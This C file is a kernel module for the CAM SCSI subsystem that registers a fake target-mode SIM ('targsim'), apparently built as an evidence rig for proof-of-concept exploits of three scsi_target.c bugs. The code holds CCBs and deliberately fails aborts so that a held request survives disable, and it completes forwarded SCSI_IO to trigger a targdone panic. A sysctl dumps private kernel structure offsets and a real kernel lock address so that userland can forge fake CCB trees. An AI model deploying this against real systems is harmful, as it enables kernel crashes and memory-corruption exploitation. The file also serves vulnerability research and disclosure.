/*
 * targsim.c -- target-mode-capable fake CAM SIM for scsi_target.c pass-2 PoCs
 * (DF-5375 / DF-5376 / DF-5377 evidence rig, built on the DF-5240 evilsim
 * pattern).
 *
 * What it provides:
 *   - a registered SIM ("targsim") whose XPT_PATH_INQ reports
 *     target_sprt = PIT_PROCESSOR, so targenable() accepts it for target
 *     mode (TARGIOCENABLE path 0,0,0).
 *   - a normal device at (bus,0,0) for the path (probe INQUIRY etc), so
 *     xpt_create_path() succeeds for TARGIOCENABLE.
 *   - XPT_EN_LUN always succeeds.
 *   - CCBs forwarded by the targ driver are recognized via
 *     ccb_h.targ_descr != NULL:
 *       XPT_ACCEPT_TARGET_IO / XPT_IMMED_NOTIFY : held
 *       XPT_CONT_TARGET_IO                      : held (mapinfo stays mapped)
 *       XPT_SCSI_IO                             : completed CAM_REQ_CMP
 *                                                 (DF-5375: targdone panic)
 *   - XPT_ABORT: fails with CAM_UA_ABORT (abort_ok knob) so a held CTIO
 *     survives TARGIOCDISABLE (DF-5377 choreography).
 *   - sysctl hw.targsim_complete=1: complete every held CCB via xpt_done
 *     (DF-5377 late completion after disable).
 *   - sysctl hw.targsim_off: machine-parseable "name=value" layout dump
 *     (offsetof/sizeof of the private cam_xpt.c structures, shadow-copied
 *     verbatim below) + real lock address, so the DF-5376 userland PoC can
 *     build a fake CCB tree in user memory without any kernel header games.
 *   - sysctl hw.targsim_path_id: bus path id for TARGIOCENABLE.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/sysctl.h>
#include <sys/callout.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/cam_queue.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

#include <bus/cam/cam_periph.h>

/* targ driver's own alias for its descriptor stash (scsi_target.c:62) */
#define targ_descr periph_priv.entries[1].ptr

/*
 * Private cam_xpt.c structure definitions, copied VERBATIM (same member
 * order/types) so that offsetof() computed here equals the real kernel
 * layout.  Renamed with sh_ prefix to avoid clashing with the real ones.
 */
struct sh_async_node {
	SLIST_ENTRY(sh_async_node)	links;
	u_int32_t		event_enable;
	void			(*callback)(void *arg, u_int32_t code,
					    void *path, void *args);
	void			*callback_arg;
};
SLIST_HEAD(sh_async_list, sh_async_node);
SLIST_HEAD(sh_periph_list, cam_periph);

struct sh_cam_ed_qinfo {
	cam_pinfo pinfo;
	struct	  cam_ed *device;	/* pointer; target of pointer irrelevant */
};

struct sh_cam_ed {
	TAILQ_ENTRY(sh_cam_ed) links;
	struct	sh_cam_ed_qinfo alloc_ccb_entry;
	struct	sh_cam_ed_qinfo send_ccb_entry;
	struct	cam_et	 *target;
	struct	cam_sim  *sim;
	lun_id_t	 lun_id;
	struct	camq drvq;
	struct	cam_ccbq ccbq;
	struct	sh_async_list asyncs;
	struct	sh_periph_list periphs;
	u_int	generation;
	struct	cam_periph *owner;
	struct	xpt_quirk_entry *quirk;
	cam_proto	 protocol;
	u_int		 protocol_version;
	cam_xport	 transport;
	u_int		 transport_version;
	struct		 scsi_inquiry_data inq_data;
	u_int8_t	 inq_flags;
	u_int8_t	 queue_flags;
	u_int8_t	 serial_num_len;
	u_int8_t	*serial_num;
	u_int32_t	 qfrozen_cnt;
	u_int32_t	 flags;
	u_int32_t	 tag_delay_count;
	u_int32_t	 tag_saved_openings;
	u_int32_t	 refcount;
	struct callout	 callout;
};

struct sh_cam_et {
	TAILQ_HEAD(, sh_cam_ed) ed_entries;
	TAILQ_ENTRY(sh_cam_et) links;
	struct	cam_eb	*bus;
	target_id_t	target_id;
	u_int32_t	refcount;
	u_int		generation;
	struct		timeval last_reset;
};

struct sh_cam_eb {
	TAILQ_HEAD(, sh_cam_et) et_entries;
	TAILQ_ENTRY(sh_cam_eb)  links;
	path_id_t	     path_id;
	struct cam_sim	     *sim;
	struct timeval	     last_reset;
	u_int32_t	     flags;
	u_int32_t	     refcount;
	u_int		     generation;
	int		     counted_to_config;
};

struct sh_cam_path {
	struct cam_periph *periph;
	struct sh_cam_eb  *bus;
	struct sh_cam_et  *target;
	struct sh_cam_ed  *device;
};

static struct lock	ev_lock;
static struct sysctl_ctx_list ev_sysctl_ctx;
static struct cam_sim	*ev_sim;
static int		ev_path_id = -1;
static int		abort_ok;	/* default 0: XPT_ABORT fails */
static int		held_total;	/* total CCBs ever held (poll target) */
static union ccb	*held[128];
static int		nheld;

static char offbuf[2048];

static void ev_action(struct cam_sim *sim, union ccb *ccb);
static void ev_poll(struct cam_sim *sim);
static void ev_scan_done(struct cam_periph *periph, union ccb *done_ccb);
static int ev_sysctl_complete(SYSCTL_HANDLER_ARGS);

static u_int8_t ev_inq36[36] = {
	0x00, 0x00, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00,
	'E','V','I','L','S','I','M',' ',
	'O','O','B','T','E','S','T',' ',
	'1','.','0',' ',
};

static void
ev_complete_ok(union ccb *ccb)
{
	ccb->ccb_h.status = CAM_REQ_CMP;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

static void
ev_hold(union ccb *ccb)
{
	held_total++;
	if (nheld < (int)NELEM(held))
		held[nheld++] = ccb;
	else
		ev_complete_ok(ccb);	/* cannot hold: complete */
}

static void
ev_fill_pathinq(struct ccb_pathinq *cpi, struct cam_sim *sim)
{
	cpi->version_num = 1;
	cpi->hba_inquiry = 0;
	cpi->target_sprt = PIT_PROCESSOR;	/* TARGET MODE SUPPORT */
	cpi->hba_misc = 0;
	cpi->hba_eng_cnt = 0;
	cpi->max_target = 0;
	cpi->max_lun = 0;
	cpi->initiator_id = 7;
	cpi->unit_number = cam_sim_unit(sim);
	cpi->bus_id = cam_sim_bus(sim);
	cpi->base_transfer_speed = 3300;
	cpi->transport = XPORT_SPI;
	cpi->transport_version = 2;
	cpi->protocol = PROTO_SCSI;
	cpi->protocol_version = SCSI_REV_2;
	cpi->maxio = 65536;
	strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
	strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
	strncpy(cpi->dev_name, "targsim", DEV_IDLEN);
	cpi->ccb_h.status = CAM_REQ_CMP;
}

static void
ev_action(struct cam_sim *sim, union ccb *ccb)
{
	struct ccb_hdr *ccbh = &ccb->ccb_h;

	switch (ccbh->func_code) {
	case XPT_PATH_INQ:
		ev_fill_pathinq(&ccb->cpi, sim);
		break;			/* immediate: no xpt_done */

	case XPT_EN_LUN:
		kprintf("[TARGSIM] EN_LUN enable=%d grp6=%d grp7=%d -> OK\n",
		    ccb->cel.enable, ccb->cel.grp6_len, ccb->cel.grp7_len);
		ccbh->status = CAM_REQ_CMP;
		break;			/* immediate */

	case XPT_ABORT:
		if (abort_ok) {
			ccbh->status = CAM_REQ_CMP;
		} else {
			kprintf("[TARGSIM] XPT_ABORT -> CAM_UA_ABORT "
			    "(held CTIO survives disable)\n");
			ccbh->status = CAM_UA_ABORT;
		}
		break;			/* immediate */

	case XPT_SCSI_IO:
		if (ccbh->targ_descr != NULL) {
			/* forwarded by the targ driver: DF-5375 trigger */
			kprintf("[TARGSIM] SCSI_IO via targ (descr=%p): "
			    "completing -> expect targdone panic\n",
			    ccbh->targ_descr);
			ev_complete_ok(ccb);
			return;
		}
		/* probe traffic */
		{
			struct ccb_scsiio *csio = &ccb->csio;
			u_int8_t *cdb;
			int copy, dxfer = csio->dxfer_len;

			if (ccbh->flags & CAM_CDB_POINTER)
				cdb = csio->cdb_io.cdb_ptr;
			else
				cdb = csio->cdb_io.cdb_bytes;

			switch (cdb[0]) {
			case 0x12:	/* INQUIRY */
				if ((cdb[1] & 0x01) && cdb[2] == 0x00) {
					u_int8_t vpd[4] = {0,0,0,0};
					copy = dxfer < 4 ? dxfer : 4;
					bcopy(vpd, csio->data_ptr, copy);
				} else {
					copy = dxfer < 36 ? dxfer : 36;
					bcopy(ev_inq36, csio->data_ptr, copy);
				}
				csio->resid = dxfer - copy;
				csio->scsi_status = SCSI_STATUS_OK;
				ev_complete_ok(ccb);
				return;
			case 0x00:	/* TEST UNIT READY */
			case 0x03:	/* REQUEST SENSE */
				csio->scsi_status = SCSI_STATUS_OK;
				ev_complete_ok(ccb);
				return;
			default:
				ccb->ccb_h.status = CAM_REQ_INVALID;
				if (ccbh->func_code & XPT_FC_QUEUED)
					xpt_done(ccb);
				return;
			}
		}
		/* NOTREACHED */

	case XPT_CONT_TARGET_IO:
		if (ccbh->targ_descr != NULL) {
			kprintf("[TARGSIM] CTIO held (descr=%p flags=%#x "
			    "dxfer=%u data=%p)\n", ccbh->targ_descr,
			    ccbh->flags, ccb->csio.dxfer_len,
			    ccb->csio.data_ptr);
			ev_hold(ccb);
			return;
		}
		ccbh->status = CAM_REQ_INVALID;
		xpt_done(ccb);
		return;

	case XPT_ACCEPT_TARGET_IO:
	case XPT_IMMED_NOTIFY:
		if (ccbh->targ_descr != NULL) {
			ev_hold(ccb);
			return;
		}
		ccbh->status = CAM_REQ_INVALID;
		xpt_done(ccb);
		return;

	default:
		ccbh->status = CAM_REQ_INVALID;
		if (ccbh->func_code & XPT_FC_QUEUED)
			xpt_done(ccb);
		break;
	}
}

static void
ev_poll(struct cam_sim *sim)
{
}

static void
ev_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

static int
ev_sysctl_complete(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (val == 0)
		return (0);

	cam_sim_lock(&ev_lock);
	kprintf("[TARGSIM] completing %d held CCBs\n", nheld);
	while (nheld > 0) {
		union ccb *ccb = held[--nheld];
		ccb->ccb_h.status = CAM_REQ_CMP;
		if (ccb->ccb_h.func_code & XPT_FC_QUEUED)
			xpt_done(ccb);
	}
	cam_sim_unlock(&ev_lock);
	return (0);
}

static void
ev_make_offdump(void)
{
	int n = 0;
#define P(fmt, ...) n += ksnprintf(offbuf + n, sizeof(offbuf) - n, \
				   " " fmt, __VA_ARGS__)
	P("hdr_func=%zu", offsetof(struct ccb_hdr, func_code));
	P("hdr_status=%zu", offsetof(struct ccb_hdr, status));
	P("hdr_path=%zu", offsetof(struct ccb_hdr, path));
	P("hdr_index=%zu", offsetof(struct ccb_hdr, pinfo.index));
	P("hdr_cbfcnp=%zu", offsetof(struct ccb_hdr, cbfcnp));
	P("hdr_descr=%zu", offsetof(struct ccb_hdr, targ_descr));
	P("hdr_sim_next=%zu", offsetof(struct ccb_hdr, sim_links.tqe.tqe_next));
	P("hdr_xpt_next=%zu", offsetof(struct ccb_hdr, xpt_links.tqe.tqe_next));
	P("hdr_size=%zu", sizeof(struct ccb_hdr));
	P("path_periph=%zu", offsetof(struct sh_cam_path, periph));
	P("path_bus=%zu", offsetof(struct sh_cam_path, bus));
	P("path_target=%zu", offsetof(struct sh_cam_path, target));
	P("path_device=%zu", offsetof(struct sh_cam_path, device));
	P("path_size=%zu", sizeof(struct sh_cam_path));
	P("eb_sim=%zu", offsetof(struct sh_cam_eb, sim));
	P("eb_size=%zu", sizeof(struct sh_cam_eb));
	P("sim_lock=%zu", offsetof(struct cam_sim, lock));
	P("sim_spin=%zu", offsetof(struct cam_sim, sim_spin));
	P("sim_doneq=%zu", offsetof(struct cam_sim, sim_doneq));
	P("sim_flags=%zu", offsetof(struct cam_sim, flags));
	P("sim_links=%zu", offsetof(struct cam_sim, links));
	P("sim_devq=%zu", offsetof(struct cam_sim, devq));
	P("sim_size=%zu", sizeof(struct cam_sim));
	P("dev_ccbq=%zu", offsetof(struct sh_cam_ed, ccbq));
	P("dev_qfrozen=%zu", offsetof(struct sh_cam_ed, qfrozen_cnt));
	P("dev_flags=%zu", offsetof(struct sh_cam_ed, flags));
	P("dev_size=%zu", sizeof(struct sh_cam_ed));
	P("ccbq_queue=%zu", offsetof(struct cam_ccbq, queue));
	P("ccbq_active=%zu", offsetof(struct cam_ccbq, active_ccbs));
	P("ccbq_devinb=%zu", offsetof(struct cam_ccbq, dev_active));
	P("ccbq_size=%zu", sizeof(struct cam_ccbq));
	P("camq_array=%zu", offsetof(struct camq, queue_array));
	P("camq_arraysize=%zu", offsetof(struct camq, array_size));
	P("camq_entries=%zu", offsetof(struct camq, entries));
	P("camq_size=%zu", sizeof(struct camq));
	P("periph_type=%zu", offsetof(struct cam_periph, type));
	P("periph_size=%zu", sizeof(struct cam_periph));
	P("val_scsi_io=%d", (int)XPT_SCSI_IO);
	P("val_ctio=%d", (int)XPT_CONT_TARGET_IO);
	P("val_unqueued=%d", (int)CAM_UNQUEUED_INDEX);
	P("val_doneq=%d", (int)CAM_DONEQ_INDEX);
	P("val_periph_bio=%d", (int)CAM_PERIPH_BIO);
	P("val_dir_in=%d", (int)CAM_DIR_IN);
	P("lock_addr=%p", &ev_lock);
#undef P
}

static void
ev_choreography(void *arg)
{
	struct cam_path *path;
	union ccb *ccb;
	cam_status status;

	ev_sim = cam_sim_alloc(ev_action, ev_poll, "targsim", NULL, 0,
	    &ev_lock, 16, 16, NULL);
	if (ev_sim == NULL) {
		kprintf("[TARGSIM] cam_sim_alloc failed\n");
		kthread_exit();
	}
	cam_sim_lock(&ev_lock);
	if (xpt_bus_register(ev_sim, 0) != CAM_SUCCESS) {
		kprintf("[TARGSIM] xpt_bus_register failed\n");
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}
	ev_path_id = cam_sim_path(ev_sim);

	status = xpt_create_path(&path, xpt_periph, ev_path_id,
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD);
	if (status != CAM_REQ_CMP) {
		kprintf("[TARGSIM] cannot create scan path: %#x\n", status);
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}
	ccb = xpt_alloc_ccb();
	xpt_setup_ccb(&ccb->ccb_h, path, 5);
	ccb->ccb_h.func_code = XPT_SCAN_BUS;
	ccb->ccb_h.cbfcnp = ev_scan_done;
	xpt_action(ccb);

	kprintf("[TARGSIM] bus %d registered+scanned, target mode ready "
	    "(target_sprt=PIT_PROCESSOR)\n", ev_path_id);
	cam_sim_unlock(&ev_lock);
	kthread_exit();
}

static int
targsim_modevent(module_t mod, int type, void *data)
{
	int error = 0;
	struct sysctl_ctx_list *ctx;
	struct sysctl_oid *tree;

	switch (type) {
	case MOD_LOAD:
		lockinit(&ev_lock, "targsim", 0, LK_CANRECURSE);
		abort_ok = 0;
		nheld = 0;
		ev_make_offdump();
		sysctl_ctx_init(&ev_sysctl_ctx);
		ctx = &ev_sysctl_ctx;
		if (ctx == NULL)
			return (ENOMEM);
		tree = SYSCTL_ADD_NODE(ctx, SYSCTL_STATIC_CHILDREN(_hw),
		    OID_AUTO, "targsim", CTLFLAG_RD, NULL, "targsim rig");
		SYSCTL_ADD_STRING(ctx, SYSCTL_CHILDREN(tree), OID_AUTO,
		    "off", CTLFLAG_RD, offbuf, 0, "layout dump");
		SYSCTL_ADD_INT(ctx, SYSCTL_CHILDREN(tree), OID_AUTO,
		    "path_id", CTLFLAG_RD, &ev_path_id, 0, "bus path id");
		SYSCTL_ADD_INT(ctx, SYSCTL_CHILDREN(tree), OID_AUTO,
		    "abort_ok", CTLFLAG_RW, &abort_ok, 0, "XPT_ABORT policy");
		SYSCTL_ADD_INT(ctx, SYSCTL_CHILDREN(tree), OID_AUTO,
		    "held_total", CTLFLAG_RD, &held_total, 0,
		    "total CCBs ever held");
		SYSCTL_ADD_PROC(ctx, SYSCTL_CHILDREN(tree), OID_AUTO,
		    "complete", CTLFLAG_RW, 0, 0, ev_sysctl_complete, "I",
		    "complete all held CCBs");
		kthread_create(ev_choreography, NULL, NULL, "targsim");
		break;
	case MOD_UNLOAD:
		kprintf("[TARGSIM] unload not supported\n");
		error = EBUSY;
		break;
	default:
		error = EOPNOTSUPP;
		break;
	}
	return (error);
}

static moduledata_t targsim_mod = { "targsim", targsim_modevent, NULL };
DECLARE_MODULE(targsim, targsim_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(targsim, cam, 1, 1, 1);
